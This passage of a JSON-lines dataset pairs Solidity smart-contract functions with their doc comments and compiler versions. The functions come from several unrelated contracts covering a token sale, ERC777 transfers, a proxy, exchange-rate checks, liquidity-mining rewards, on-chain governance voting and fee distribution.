.mul(saleRate)\r\n .mul(TOKEN)\r\n .div(1 ether)\r\n .add(wholesaleTokens_);\r\n }", "version": "0.4.18"} {"comment": "// General addresses can purchase tokens during funding", "function_code": "function proxyPurchase(address _addr)\r\n public\r\n payable\r\n noReentry\r\n returns (bool)\r\n {\r\n require(!fundFailed());\r\n require(!icoSucceeded);\r\n require(now > START_DATE);\r\n require(now <= END_DATE);\r\n require(msg.value > 0);\r\n\r\n // Log ether deposit\r\n Deposit (_addr, msg.value);\r\n\r\n // Get ether to token conversion\r\n uint tokens;\r\n // Portion of tokens sold at wholesale rate\r\n uint wholesaleTokens;\r\n\r\n (tokens, wholesaleTokens) = ethToTokens(msg.value);\r\n\r\n // Block any failed token creation\r\n require(tokens > 0);\r\n\r\n // Prevent over subscribing\r\n require(balances[HUT34_RETAIN] - tokens >= RETAINED_TOKENS);\r\n\r\n // Adjust wholesale tokens left for sale\r\n if (wholesaleTokens != 0) {\r\n wholesaleLeft = wholesaleLeft.sub(wholesaleTokens);\r\n }\r\n\r\n // transfer tokens from fund wallet\r\n balances[HUT34_RETAIN] = balances[HUT34_RETAIN].sub(tokens);\r\n balances[_addr] = balances[_addr].add(tokens);\r\n Transfer(HUT34_RETAIN, _addr, tokens);\r\n\r\n // Update funds raised\r\n etherRaised = etherRaised.add(msg.value);\r\n\r\n // Update holder payments\r\n etherContributed[_addr] = etherContributed[_addr].add(msg.value);\r\n\r\n // Check KYC requirement\r\n if(etherContributed[_addr] >= KYC_THRESHOLD && !mustKyc[_addr]) {\r\n mustKyc[_addr] = true;\r\n Kyc(_addr, true);\r\n }\r\n\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "// Owner can sweep a successful funding to the fundWallet.\n// Can be called repeatedly to recover errant ether which may have been\n// `selfdestructed` to the contract\n// Contract can be aborted up until this returns `true`", "function_code": "function finalizeICO()\r\n public\r\n onlyOwner\r\n preventReentry()\r\n returns (bool)\r\n {\r\n // Must have reached minimum cap\r\n require(fundRaised());\r\n\r\n // Set first vesting date (only once as this function can be called again)\r\n if(!icoSucceeded) {\r\n nextReleaseDate = now + VESTING_PERIOD;\r\n }\r\n\r\n // Set success flag;\r\n icoSucceeded = true;\r\n\r\n // Transfer % Developer commission\r\n uint devCommission = calcCommission();\r\n Withdrawal(this, COMMISSION_WALLET, devCommission);\r\n COMMISSION_WALLET.transfer(devCommission);\r\n\r\n // Remaining % to the fund wallet\r\n Withdrawal(this, HUT34_WALLET, this.balance);\r\n HUT34_WALLET.transfer(this.balance);\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "// Bulk refunds can be pushed from a failed ICO", "function_code": "function refundFor(address[] _addrs)\r\n public\r\n preventReentry()\r\n returns (bool)\r\n {\r\n require(fundFailed());\r\n uint i;\r\n uint len = _addrs.length;\r\n uint value;\r\n uint tokens;\r\n address addr;\r\n\r\n for (i; i < len; i++) {\r\n addr = _addrs[i];\r\n value = etherContributed[addr];\r\n tokens = balances[addr];\r\n if (tokens > 0) {\r\n // Return tokens\r\n // transfer tokens from fund wallet\r\n balances[HUT34_RETAIN] = balances[HUT34_RETAIN].add(tokens);\r\n delete balances[addr];\r\n Transfer(addr, HUT34_RETAIN, tokens);\r\n }\r\n\r\n if (value > 0) {\r\n // Refund ether contribution\r\n delete etherContributed[addr];\r\n delete mustKyc[addr];\r\n refunded = refunded.add(value);\r\n Withdrawal(this, addr, value);\r\n addr.transfer(value);\r\n }\r\n }\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "//\n// ERC20 additional and overloaded functions\n//\n// Allows a sender to transfer tokens to an array of recipients", "function_code": "function transferToMany(address[] _addrs, uint[] _amounts)\r\n public\r\n noReentry\r\n returns (bool)\r\n {\r\n require(_addrs.length == _amounts.length);\r\n uint len = _addrs.length;\r\n for(uint i = 0; i < len; i++) {\r\n xfer(msg.sender, _addrs[i], _amounts[i]);\r\n }\r\n return true;\r\n }", "version": "0.4.18"} {"comment": "// This will selfdestruct the contract on the condittion all have been\n// processed.", "function_code": "function destroy()\r\n public\r\n noReentry\r\n onlyOwner\r\n {\r\n require(!__abortFuse);\r\n require(refunded == (etherRaised - PRESALE_ETH_RAISE));\r\n // Log burned tokens for complete ledger accounting on archival nodes\r\n Transfer(HUT34_RETAIN, 0x0, balances[HUT34_RETAIN]);\r\n Transfer(HUT34_VEST_ADDR, 0x0, VESTED_TOKENS);\r\n Transfer(PRESOLD_ADDRESS, 0x0, PRESOLD_TOKENS);\r\n // Garbage collect mapped state\r\n delete balances[HUT34_RETAIN];\r\n delete balances[PRESOLD_ADDRESS];\r\n selfdestruct(owner);\r\n }", "version": "0.4.18"} {"comment": "// Calculate commission on prefunded and raised ether.", "function_code": "function calcCommission()\r\n internal\r\n view\r\n returns(uint)\r\n {\r\n uint commission = (this.balance + PRESALE_ETH_RAISE) / COMMISSION_DIV;\r\n // Edge case that prefund causes commission to be greater than balance\r\n return commission <= this.balance ? commission : this.balance;\r\n }", "version": "0.4.18"} {"comment": "/// @notice Check whether an address is a regular address or not.\n/// @param _addr Address of the contract that has to be checked\n/// @return `true` if `_addr` is a regular address (not a contract)", "function_code": "function isRegularAddress(address _addr) internal view returns(bool) {\n if (_addr == address(0)) { return false; }\n uint size;\n assembly { size := extcodesize(_addr) } // solium-disable-line security/no-inline-assembly\n return size == 0;\n }", "version": "0.5.2"} {"comment": "/// @notice Helper function actually performing the sending of tokens.\n/// @param _operator The address performing the send\n/// @param _from The address holding the tokens being sent\n/// @param _to The address of the recipient\n/// @param _amount The number of tokens to be sent\n/// @param _data Data generated by the user to be passed to the recipient\n/// @param _operatorData Data generated by the operator to be passed to the recipient\n/// @param _preventLocking `true` if you want this function to throw when tokens are sent to a contract not\n/// implementing `ERC777tokensRecipient`.\n/// ERC777 native Send functions MUST set this parameter to `true`, and backwards compatible ERC20 transfer\n/// functions SHOULD set this parameter to `false`.", "function_code": "function _send(\n address _operator,\n address _from,\n address _to,\n uint256 _amount,\n bytes memory _data,\n bytes memory _operatorData,\n bool _preventLocking\n )\n internal\n {\n callSender(_operator, _from, _to, _amount, _data, _operatorData);\n\n super._transfer(_from, _to, _amount); // TODO test it does not call this._transfer (which would emit 2 Sent event)\n\n callRecipient(_operator, _from, _to, _amount, _data, _operatorData, _preventLocking);\n\n emit Sent(_operator, _from, _to, _amount, _data, _operatorData);\n }", "version": "0.5.2"} {"comment": "/// @notice Helper function that checks for ERC777TokensRecipient on the recipient and calls it.\n/// May throw according to `_preventLocking`\n/// @param _operator The address performing the send or mint\n/// @param _from The address holding the tokens being sent\n/// @param _to The address of the recipient\n/// @param _amount The number of tokens to be sent\n/// @param _data Data generated by the user to be passed to the recipient\n/// @param _operatorData Data generated by the operator to be passed to the recipient\n/// @param _preventLocking `true` if you want this function to throw when tokens are sent to a contract not\n/// implementing `ERC777TokensRecipient`.\n/// ERC777 native Send functions MUST set this parameter to `true`, and backwards compatible ERC20 transfer\n/// functions SHOULD set this parameter to `false`.", "function_code": "function callRecipient(\n address _operator,\n address _from,\n address _to,\n uint256 _amount,\n bytes memory _data,\n bytes memory _operatorData,\n bool _preventLocking\n )\n internal\n {\n address recipientImplementation = interfaceAddr(_to, \"ERC777TokensRecipient\");\n if (recipientImplementation != address(0)) {\n ERC777TokensRecipient(recipientImplementation).tokensReceived(\n _operator, _from, _to, _amount, _data, _operatorData);\n } else if (_preventLocking) {\n require(isRegularAddress(_to), \"Cannot send to contract without ERC777TokensRecipient\");\n }\n }", "version": "0.5.2"} {"comment": "/// @notice Get exchange dynamic fee related keys\n/// @return threshold, weight decay, rounds, and max fee", "function_code": "function getExchangeDynamicFeeConfig() internal view returns (DynamicFeeConfig memory) {\n bytes32[] memory keys = new bytes32[](4);\n keys[0] = SETTING_EXCHANGE_DYNAMIC_FEE_THRESHOLD;\n keys[1] = SETTING_EXCHANGE_DYNAMIC_FEE_WEIGHT_DECAY;\n keys[2] = SETTING_EXCHANGE_DYNAMIC_FEE_ROUNDS;\n keys[3] = SETTING_EXCHANGE_MAX_DYNAMIC_FEE;\n uint[] memory values = flexibleStorage().getUIntValues(SETTING_CONTRACT_NAME, keys);\n return DynamicFeeConfig({threshold: values[0], weightDecay: values[1], rounds: values[2], maxFee: values[3]});\n }", "version": "0.5.16"} {"comment": "// solhint-disable no-complex-fallback", "function_code": "function() external payable {\n // Mutable call setting Proxyable.messageSender as this is using call not delegatecall\n target.setMessageSender(msg.sender);\n\n assembly {\n let free_ptr := mload(0x40)\n calldatacopy(free_ptr, 0, calldatasize)\n\n /* We must explicitly forward ether to the underlying contract as well. */\n let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)\n returndatacopy(free_ptr, 0, returndatasize)\n\n if iszero(result) {\n revert(free_ptr, returndatasize)\n }\n return(free_ptr, returndatasize)\n }\n }", "version": "0.5.16"} {"comment": "/**\n * SIP-139\n * resets the stored value for _lastExchangeRate for multiple currencies to the latest rate\n * can be used to un-suspend synths after a suspension happenned\n * doesn't check deviations here, so believes that owner knows better\n * emits LastRateOverriden\n */", "function_code": "function resetLastExchangeRate(bytes32[] calldata currencyKeys) external onlyOwner {\n (uint[] memory rates, bool anyRateInvalid) = _exchangeRates().ratesAndInvalidForCurrencies(currencyKeys);\n\n require(!anyRateInvalid, \"Rates for given synths not valid\");\n\n for (uint i = 0; i < currencyKeys.length; i++) {\n emit LastRateOverriden(currencyKeys[i], _lastExchangeRate[currencyKeys[i]], rates[i]);\n _lastExchangeRate[currencyKeys[i]] = rates[i];\n }\n }", "version": "0.5.16"} {"comment": "/**\n * Rate is invalid if:\n * - is outside of deviation bounds relative to previous non-zero rate\n * - (warm up case) if previous rate was 0 (init), gets last 4 rates from oracle, and checks\n * if rate is outside of deviation w.r.t any of the 3 previous ones (excluding the last one).\n */", "function_code": "function _isRateOutOfBounds(bytes32 currencyKey, uint currentRate) internal view returns (bool) {\n if (currentRate == 0) {\n return true;\n }\n\n uint lastRateFromExchange = _lastExchangeRate[currencyKey];\n\n if (lastRateFromExchange > 0) {\n return _isDeviationAboveThreshold(lastRateFromExchange, currentRate);\n }\n\n // if no last exchange for this synth, then we need to look up last 3 rates (+1 for current rate)\n (uint[] memory rates, ) = _exchangeRates().ratesAndUpdatedTimeForCurrencyLastNRounds(currencyKey, 4, 0);\n\n // start at index 1 to ignore current rate\n for (uint i = 1; i < rates.length; i++) {\n // ignore any empty rates in the past (otherwise we will never be able to get validity)\n if (rates[i] > 0 && _isDeviationAboveThreshold(rates[i], currentRate)) {\n return true;\n }\n }\n\n return false;\n }", "version": "0.5.16"} {"comment": "/**\n * @notice Gets the strike price by multiplying the current underlying price\n * with a multiplier\n * @param expiryTimestamp is the unix timestamp of expiration\n * @param isPut is whether option is put or call\n * @return newStrikePrice is the strike price of the option (ex: for BTC might be 45000 * 10 ** 8)\n * @return newDelta will be set to zero for percent strike selection\n */", "function_code": "function getStrikePrice(uint256 expiryTimestamp, bool isPut)\n external\n view\n returns (uint256 newStrikePrice, uint256 newDelta)\n {\n require(\n expiryTimestamp > block.timestamp,\n \"Expiry must be in the future!\"\n );\n\n // asset price\n uint256 strikePrice =\n optionsPremiumPricer.getUnderlyingPrice().mul(strikeMultiplier).div(\n STRIKE_MULTIPLIER\n );\n\n newStrikePrice = isPut\n ? strikePrice.sub(strikePrice % step)\n : strikePrice.add(step.sub(strikePrice % step));\n\n newDelta = 0;\n }", "version": "0.8.4"} {"comment": "// TODO could potentialy get ir fo this and use operatorSend instead (the token contract itself could be an defaultOperator)", "function_code": "function sendFrom(address _from, address _to, uint256 _amount, bytes calldata _data) external {\n require(msg.sender == address(this), \"only to be used by contract to support meta-tx\"); // allow _from to allow gas estimatiom\n _send(_from, _from, _to, _amount, _data, \"\", true);\n }", "version": "0.5.2"} {"comment": "/* Transfer the balance from the sender's address to the address _to */", "function_code": "function transfer(address _to, uint256 _value) public returns (bool success) {\r\n if (balances[msg.sender] >= _value\r\n && _value > 0\r\n && balances[_to] + _value > balances[_to]) {\r\n\t\t\tbalances[msg.sender] = balances[msg.sender].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n Transfer(msg.sender, _to, _value);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/* Withdraws to address _to form the address _from up to the amount _value */", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {\r\n if (balances[_from] >= _value\r\n && allowed[_from][msg.sender] >= _value\r\n && _value > 0\r\n && balances[_to] + _value > balances[_to]) {\r\n balances[_from] = balances[_from].sub(_value);\r\n allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n Transfer(_from, _to, _value);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.24"} {"comment": "// Only the liqMiningEmergencyHandler can call this function, when its in emergencyMode\n// this will allow a spender to spend the whole balance of the specified tokens from this contract\n// as well as to spend tokensForLpHolder from the respective lp holders for expiries specified\n// the spender should ideally be a contract with logic for users to withdraw out their funds.", "function_code": "function setUpEmergencyMode(uint256[] calldata expiries, address spender) external override {\n (, bool emergencyMode) = pausingManager.checkLiqMiningStatus(address(this));\n require(emergencyMode, \"NOT_EMERGENCY\");\n\n (address liqMiningEmergencyHandler, , ) = pausingManager.liqMiningEmergencyHandler();\n require(msg.sender == liqMiningEmergencyHandler, \"NOT_EMERGENCY_HANDLER\");\n\n for (uint256 i = 0; i < expiries.length; i++) {\n IPendleLpHolder(expiryData[expiries[i]].lpHolder).setUpEmergencyMode(spender);\n }\n IERC20(pendleTokenAddress).approve(spender, type(uint256).max);\n }", "version": "0.7.6"} {"comment": "/**\n * @notice fund new epochs\n * @dev Once the last epoch is over, the program is permanently override\n * @dev the settings must be set before epochs can be funded\n => if funded=true, means that epochs have been funded & have already has valid allocation settings\n * conditions:\n * Must only be called by governance\n */", "function_code": "function fund(uint256[] calldata _rewards) external override onlyGovernance {\n checkNotPaused();\n // Can only be fund if there is already a setting\n require(latestSetting.id > 0, \"NO_ALLOC_SETTING\");\n // Once the program is over, cannot fund\n require(_getCurrentEpochId() <= numberOfEpochs, \"LAST_EPOCH_OVER\");\n\n uint256 nNewEpochs = _rewards.length;\n uint256 totalFunded;\n // all the funding will be used for new epochs\n for (uint256 i = 0; i < nNewEpochs; i++) {\n totalFunded = totalFunded.add(_rewards[i]);\n epochData[numberOfEpochs + i + 1].totalRewards = _rewards[i];\n }\n\n require(totalFunded > 0, \"ZERO_FUND\");\n funded = true;\n numberOfEpochs = numberOfEpochs.add(nNewEpochs);\n IERC20(pendleTokenAddress).safeTransferFrom(msg.sender, address(this), totalFunded);\n emit Funded(_rewards, numberOfEpochs);\n }", "version": "0.7.6"} {"comment": "/**\n @notice top up rewards for any funded future epochs (but not to create new epochs)\n * conditions:\n * Must only be called by governance\n * The contract must have been funded already\n */", "function_code": "function topUpRewards(uint256[] calldata _epochIds, uint256[] calldata _rewards)\n external\n override\n onlyGovernance\n isFunded\n {\n checkNotPaused();\n require(latestSetting.id > 0, \"NO_ALLOC_SETTING\");\n require(_epochIds.length == _rewards.length, \"INVALID_ARRAYS\");\n\n uint256 curEpoch = _getCurrentEpochId();\n uint256 endEpoch = numberOfEpochs;\n uint256 totalTopUp;\n\n for (uint256 i = 0; i < _epochIds.length; i++) {\n require(curEpoch < _epochIds[i] && _epochIds[i] <= endEpoch, \"INVALID_EPOCH_ID\");\n totalTopUp = totalTopUp.add(_rewards[i]);\n epochData[_epochIds[i]].totalRewards = epochData[_epochIds[i]].totalRewards.add(\n _rewards[i]\n );\n }\n\n require(totalTopUp > 0, \"ZERO_FUND\");\n IERC20(pendleTokenAddress).safeTransferFrom(msg.sender, address(this), totalTopUp);\n emit RewardsToppedUp(_epochIds, _rewards);\n }", "version": "0.7.6"} {"comment": "/**\n @notice set a new allocation setting, which will be applied from the next epoch onwards\n @dev all the epochData from latestSetting.firstEpochToApply+1 to current epoch will follow the previous\n allocation setting\n @dev We must set the very first allocation setting before the start of epoch 1,\n otherwise epoch 1 will not have any allocation setting!\n In that case, we will not be able to set any allocation and hence its not possible to\n fund the contract as well\n => We should just throw this contract away, and funds are SAFU!\n @dev the length of _expiries array is expected to be small, 2 or 3\n @dev it's intentional that we don't check the existence of expiries\n */", "function_code": "function setAllocationSetting(\n uint256[] calldata _expiries,\n uint256[] calldata _allocationNumerators\n ) external onlyGovernance {\n checkNotPaused();\n require(_expiries.length == _allocationNumerators.length, \"INVALID_ALLOCATION\");\n if (latestSetting.id == 0) {\n require(block.timestamp < startTime, \"LATE_FIRST_ALLOCATION\");\n }\n\n uint256 curEpoch = _getCurrentEpochId();\n // set the settingId for past epochs\n for (uint256 i = latestSetting.firstEpochToApply; i <= curEpoch; i++) {\n epochData[i].settingId = latestSetting.id;\n }\n\n // create a new setting that will be applied from the next epoch onwards\n latestSetting.firstEpochToApply = curEpoch + 1;\n latestSetting.id++;\n\n uint256 sumAllocationNumerators;\n for (uint256 _i = 0; _i < _expiries.length; _i++) {\n allocationSettings[latestSetting.id][_expiries[_i]] = _allocationNumerators[_i];\n sumAllocationNumerators = sumAllocationNumerators.add(_allocationNumerators[_i]);\n }\n require(sumAllocationNumerators == ALLOCATION_DENOMINATOR, \"INVALID_ALLOCATION\");\n emit AllocationSettingSet(_expiries, _allocationNumerators);\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Similar to stake() function, but using a permit to approve for LP tokens first\n */", "function_code": "function stakeWithPermit(\n uint256 expiry,\n uint256 amount,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n )\n external\n override\n isFunded\n nonReentrant\n nonContractOrWhitelisted\n returns (address newLpHoldingContractAddress)\n {\n checkNotPaused();\n address xyt = address(data.xytTokens(forgeId, underlyingAsset, expiry));\n address marketAddress = data.getMarket(marketFactoryId, xyt, baseToken);\n // Pendle Market LP tokens are EIP-2612 compliant, hence we can approve liq-mining contract using a signature\n IPendleYieldToken(marketAddress).permit(\n msg.sender,\n address(this),\n amount,\n deadline,\n v,\n r,\n s\n );\n\n newLpHoldingContractAddress = _stake(expiry, amount);\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Use to withdraw their LP from a specific expiry\n Conditions:\n * only be called if the contract has been funded.\n * must have Reentrancy protection\n * only be called if 0 < current epoch (always can withdraw)\n */", "function_code": "function withdraw(uint256 expiry, uint256 amount) external override nonReentrant isFunded {\n checkNotPaused();\n uint256 curEpoch = _getCurrentEpochId();\n require(curEpoch > 0, \"NOT_STARTED\");\n require(amount != 0, \"ZERO_AMOUNT\");\n\n ExpiryData storage exd = expiryData[expiry];\n require(exd.balances[msg.sender] >= amount, \"INSUFFICIENT_BALANCE\");\n\n _pushLpToken(expiry, amount);\n emit Withdrawn(expiry, msg.sender, amount);\n }", "version": "0.7.6"} {"comment": "/**\n * @notice use to claim PENDLE rewards\n Conditions:\n * only be called if the contract has been funded.\n * must have Reentrancy protection\n * only be called if 0 < current epoch (always can withdraw)\n * Anyone can call it (and claim it for any other user)\n */", "function_code": "function redeemRewards(uint256 expiry, address user)\n external\n override\n isFunded\n nonReentrant\n returns (uint256 rewards)\n {\n checkNotPaused();\n uint256 curEpoch = _getCurrentEpochId();\n require(curEpoch > 0, \"NOT_STARTED\");\n require(user != address(0), \"ZERO_ADDRESS\");\n require(userExpiries[user].hasExpiry[expiry], \"INVALID_EXPIRY\");\n\n rewards = _beforeTransferPendingRewards(expiry, user);\n if (rewards != 0) {\n IERC20(pendleTokenAddress).safeTransfer(user, rewards);\n }\n }", "version": "0.7.6"} {"comment": "/**\n @notice update the following stake data for the current epoch:\n - epochData[_curEpoch].stakeUnitsForExpiry\n - epochData[_curEpoch].lastUpdatedForExpiry\n @dev If this is the very first transaction involving this expiry, then need to update for the\n previous epoch as well. If the previous didn't have any transactions at all, (and hence was not\n updated at all), we need to update it and check the previous previous ones, and so on..\n @dev must be called right before every _updatePendingRewards()\n @dev this is the only function that updates lastTimeUserStakeUpdated & stakeUnitsForExpiry\n @dev other functions must make sure that totalStakeLPForExpiry could be assumed\n to stay exactly the same since lastTimeUserStakeUpdated until now;\n @dev to be called only by _updatePendingRewards\n */", "function_code": "function _updateStakeDataForExpiry(uint256 expiry) internal {\n uint256 _curEpoch = _getCurrentEpochId();\n\n // loop through all epochData in descending order\n for (uint256 i = Math.min(_curEpoch, numberOfEpochs); i > 0; i--) {\n uint256 epochEndTime = _endTimeOfEpoch(i);\n uint256 lastUpdatedForEpoch = epochData[i].lastUpdatedForExpiry[expiry];\n\n if (lastUpdatedForEpoch == epochEndTime) {\n break; // its already updated until this epoch, our job here is done\n }\n\n // if the epoch hasn't been fully updated yet, we will update it\n // just add the amount of units contributed by users since lastUpdatedForEpoch -> now\n // by calling _calcUnitsStakeInEpoch\n epochData[i].stakeUnitsForExpiry[expiry] = epochData[i].stakeUnitsForExpiry[expiry]\n .add(\n _calcUnitsStakeInEpoch(expiryData[expiry].totalStakeLP, lastUpdatedForEpoch, i)\n );\n // If the epoch has ended, lastUpdated = epochEndTime\n // If not yet, lastUpdated = block.timestamp (aka now)\n epochData[i].lastUpdatedForExpiry[expiry] = Math.min(block.timestamp, epochEndTime);\n }\n }", "version": "0.7.6"} {"comment": "// calc the amount of rewards the user is eligible to receive from this epoch\n// but we will return the amount per vestingEpoch instead", "function_code": "function _calcAmountRewardsForUserInEpoch(\n uint256 expiry,\n address user,\n uint256 epochId\n ) internal view returns (uint256 rewardsPerVestingEpoch) {\n uint256 settingId =\n epochId >= latestSetting.firstEpochToApply\n ? latestSetting.id\n : epochData[epochId].settingId;\n\n uint256 rewardsForThisExpiry =\n epochData[epochId].totalRewards.mul(allocationSettings[settingId][expiry]).div(\n ALLOCATION_DENOMINATOR\n );\n\n rewardsPerVestingEpoch = rewardsForThisExpiry\n .mul(epochData[epochId].stakeUnitsForUser[user][expiry])\n .div(epochData[epochId].stakeUnitsForExpiry[expiry])\n .div(vestingEpochs);\n }", "version": "0.7.6"} {"comment": "/**\n * @notice returns the stakeUnits in the _epochId(th) epoch of an user if he stake from _startTime to now\n * @dev to calculate durationStakeThisEpoch:\n * user will stake from _startTime -> _endTime, while the epoch last from _startTimeOfEpoch -> _endTimeOfEpoch\n * => the stakeDuration of user will be min(_endTime,_endTimeOfEpoch) - max(_startTime,_startTimeOfEpoch)\n */", "function_code": "function _calcUnitsStakeInEpoch(\n uint256 lpAmount,\n uint256 _startTime,\n uint256 _epochId\n ) internal view returns (uint256 stakeUnitsForUser) {\n uint256 _endTime = block.timestamp;\n\n uint256 _l = Math.max(_startTime, _startTimeOfEpoch(_epochId));\n uint256 _r = Math.min(_endTime, _endTimeOfEpoch(_epochId));\n uint256 durationStakeThisEpoch = _r.subMax0(_l);\n\n return lpAmount.mul(durationStakeThisEpoch);\n }", "version": "0.7.6"} {"comment": "/**\n @notice Calc the amount of rewards that the user can receive now.\n @dev To be called before any rewards is transferred out\n */", "function_code": "function _beforeTransferPendingRewards(uint256 expiry, address user)\n internal\n returns (uint256 amountOut)\n {\n _updatePendingRewards(expiry, user);\n\n uint256 _lastEpoch = Math.min(_getCurrentEpochId(), numberOfEpochs + vestingEpochs);\n for (uint256 i = expiryData[expiry].lastEpochClaimed[user]; i <= _lastEpoch; i++) {\n if (epochData[i].availableRewardsForUser[user] > 0) {\n amountOut = amountOut.add(epochData[i].availableRewardsForUser[user]);\n epochData[i].availableRewardsForUser[user] = 0;\n }\n }\n\n expiryData[expiry].lastEpochClaimed[user] = _lastEpoch;\n emit PendleRewardsSettled(expiry, user, amountOut);\n return amountOut;\n }", "version": "0.7.6"} {"comment": "/**\n * @dev all LP interests related functions are almost identical to markets' functions\n * Very similar to the function in PendleMarketBase. Any major differences are likely to be bugs\n Please refer to it for more details\n */", "function_code": "function _updateParamL(uint256 expiry) internal {\n ExpiryData storage exd = expiryData[expiry];\n\n if (!checkNeedUpdateParamL(expiry)) return;\n\n IPendleLpHolder(exd.lpHolder).redeemLpInterests();\n\n uint256 currentNYield = IERC20(underlyingYieldToken).balanceOf(exd.lpHolder);\n (uint256 firstTerm, uint256 paramR) = _getFirstTermAndParamR(expiry, currentNYield);\n\n uint256 secondTerm;\n\n if (exd.totalStakeLP != 0) secondTerm = paramR.mul(MULTIPLIER).div(exd.totalStakeLP);\n\n // Update new states\n exd.paramL = firstTerm.add(secondTerm);\n exd.lastNYield = currentNYield;\n }", "version": "0.7.6"} {"comment": "/**\r\n * @dev Creates a new voting proposal for the execution `_transaction` of `_targetContract`.\r\n * Only voter can create a new proposal.\r\n *\r\n * Emits a `ProposalStarted` event.\r\n *\r\n * Requirements:\r\n *\r\n * - `_targetContract` cannot be the zero address.\r\n * - `_transaction` length must not be less than 4 bytes.\r\n *\r\n * @notice Create a new voting proposal for the execution `_transaction` of `_targetContract`. You must be voter.\r\n * @param _targetContract Target contract address that can execute target `_transaction`\r\n * @param _transaction Target transaction to execute\r\n */", "function_code": "function newProposal( address _targetContract, bytes memory _transaction ) public onlyVoter {\r\n require(_targetContract != address(0), \"Address must be non-zero\");\r\n require(_transaction.length >= 4, \"Tx must be 4+ bytes\");\r\n // solhint-disable not-rely-on-time\r\n bytes32 _proposalHash = keccak256(abi.encodePacked(_targetContract, _transaction, now));\r\n require(proposals[_proposalHash].transaction.length == 0, \"The poll has already been initiated\");\r\n proposals[_proposalHash].targetContract = _targetContract;\r\n proposals[_proposalHash].transaction = _transaction;\r\n proposalsHashes.push(_proposalHash);\r\n proposalsCount = proposalsCount.add(1);\r\n emit ProposalStarted(_proposalHash);\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Adds sender's vote to the proposal and then follows the majority voting algoritm.\r\n *\r\n * Emits a `Vote` event.\r\n *\r\n * Requirements:\r\n *\r\n * - proposal with `_proposalHash` must not be finished.\r\n * - sender must not be already voted.\r\n *\r\n * @notice Vote \"for\" or \"against\" in proposal with `_proposalHash` hash.\r\n * @param _proposalHash Unique mapping key of proposal\r\n * @param _yes 1 is vote \"for\" and 0 is \"against\"\r\n */", "function_code": "function vote(bytes32 _proposalHash, bool _yes) public onlyVoter { // solhint-disable code-complexity\r\n require(!proposals[_proposalHash].finished, \"Already finished\");\r\n require(!proposals[_proposalHash].votedFor[msg.sender], \"Already voted\");\r\n require(!proposals[_proposalHash].votedAgainst[msg.sender], \"Already voted\");\r\n if (_yes) {\r\n proposals[_proposalHash].yesVotes = proposals[_proposalHash].yesVotes.add(1);\r\n proposals[_proposalHash].votedFor[msg.sender] = true;\r\n } else {\r\n proposals[_proposalHash].noVotes = proposals[_proposalHash].noVotes.add(1);\r\n proposals[_proposalHash].votedAgainst[msg.sender] = true;\r\n }\r\n emit Vote(\r\n _proposalHash,\r\n _yes,\r\n proposals[_proposalHash].yesVotes,\r\n proposals[_proposalHash].noVotes,\r\n votersCount\r\n );\r\n if (proposals[_proposalHash].yesVotes > votersCount.div(2)) {\r\n executeProposal(_proposalHash);\r\n finishProposal(_proposalHash);\r\n } else if (proposals[_proposalHash].noVotes >= (votersCount + 1).div(2)) {\r\n finishProposal(_proposalHash);\r\n }\r\n }", "version": "0.5.10"} {"comment": "/**\r\n * @dev Removes `_address` from the voters list.\r\n * This method can be executed only via proposal of this Governance contract.\r\n *\r\n * Emits a `delVoter` event.\r\n *\r\n * Requirements:\r\n *\r\n * - `_address` must be in voters list.\r\n * - Num of voters must be more than one.\r\n *\r\n * @param _address Address of voter to delete\r\n */", "function_code": "function delVoter(address _address) public onlyMe {\r\n require(isVoter[_address], \"Not in voters list\");\r\n require(votersCount > 1, \"Can not delete single voter\");\r\n for (uint256 i = 0; i < voters.length; i++) {\r\n if (voters[i] == _address) {\r\n if (voters.length > 1) {\r\n voters[i] = voters[voters.length - 1];\r\n }\r\n voters.length--; // Implicitly recovers gas from last element storage\r\n isVoter[_address] = false;\r\n votersCount = votersCount.sub(1);\r\n emit VoterDeleted(_address);\r\n break;\r\n }\r\n }\r\n }", "version": "0.5.10"} {"comment": "// payout for claiming", "function_code": "function payouts(address payable _to, uint256 _amount, address token) external onlyOperator {\r\n require(_to != address(0),\"_to is zero\");\r\n if (token != ETHEREUM) {\r\n IERC20(token).safeTransfer(_to, _amount);\r\n } else {\r\n _to.transfer(_amount);\r\n }\r\n\r\n emit ePayouts(_to, _amount);\r\n }", "version": "0.6.12"} {"comment": "// burn 1/2 for claiming ", "function_code": "function burnOuts(address[] calldata _burnUsers, uint256[] calldata _amounts) \r\n external onlyOperator \r\n {\r\n require(_burnUsers.length == _amounts.length, \"not equal\");\r\n\r\n for(uint256 i = 0; i<_burnUsers.length; i++) {\r\n require(_balances[_burnUsers[i]] >= _amounts[i], \"insufficient\");\r\n\r\n _balances[_burnUsers[i]] = _balances[_burnUsers[i]].sub(_amounts[i]);\r\n Nsure.burn(_amounts[i]);\r\n\r\n emit Burn(_burnUsers[i],_amounts[i]);\r\n }\r\n }", "version": "0.6.12"} {"comment": "/*\r\n * FEE: \r\n * 1 = 0.001%\r\n * 1000 = 1%\r\n * 100000 = 100%\r\n */", "function_code": "function setFeeDistributions(address _token, address _feeWallet, string memory _name, uint256 _percent) public onlyOwner {\r\n require(_token != address(0), \"address not valid\");\r\n require(_feeWallet != address(0), \"address not valid\");\r\n\r\n _Fee[] storage fees = feeDistributions[_token];\r\n // uint256 feesCount = fees.length;\r\n uint256 feesCount = getFeeDistributionsCount(_token);\r\n\r\n bool feeExiste = false;\r\n\r\n uint totalFeePercent = getTotalFeePercent (_token);\r\n totalFeePercent = totalFeePercent.add(_percent);\r\n require(totalFeePercent <= 100000, \"total fee cannot exceed 100\");\r\n\r\n for (uint i = 0; i < feesCount; i++){\r\n if (fees[i].wallet == _feeWallet){\r\n fees[i].name = _name;\r\n fees[i].percent = _percent;\r\n fees[i].active = 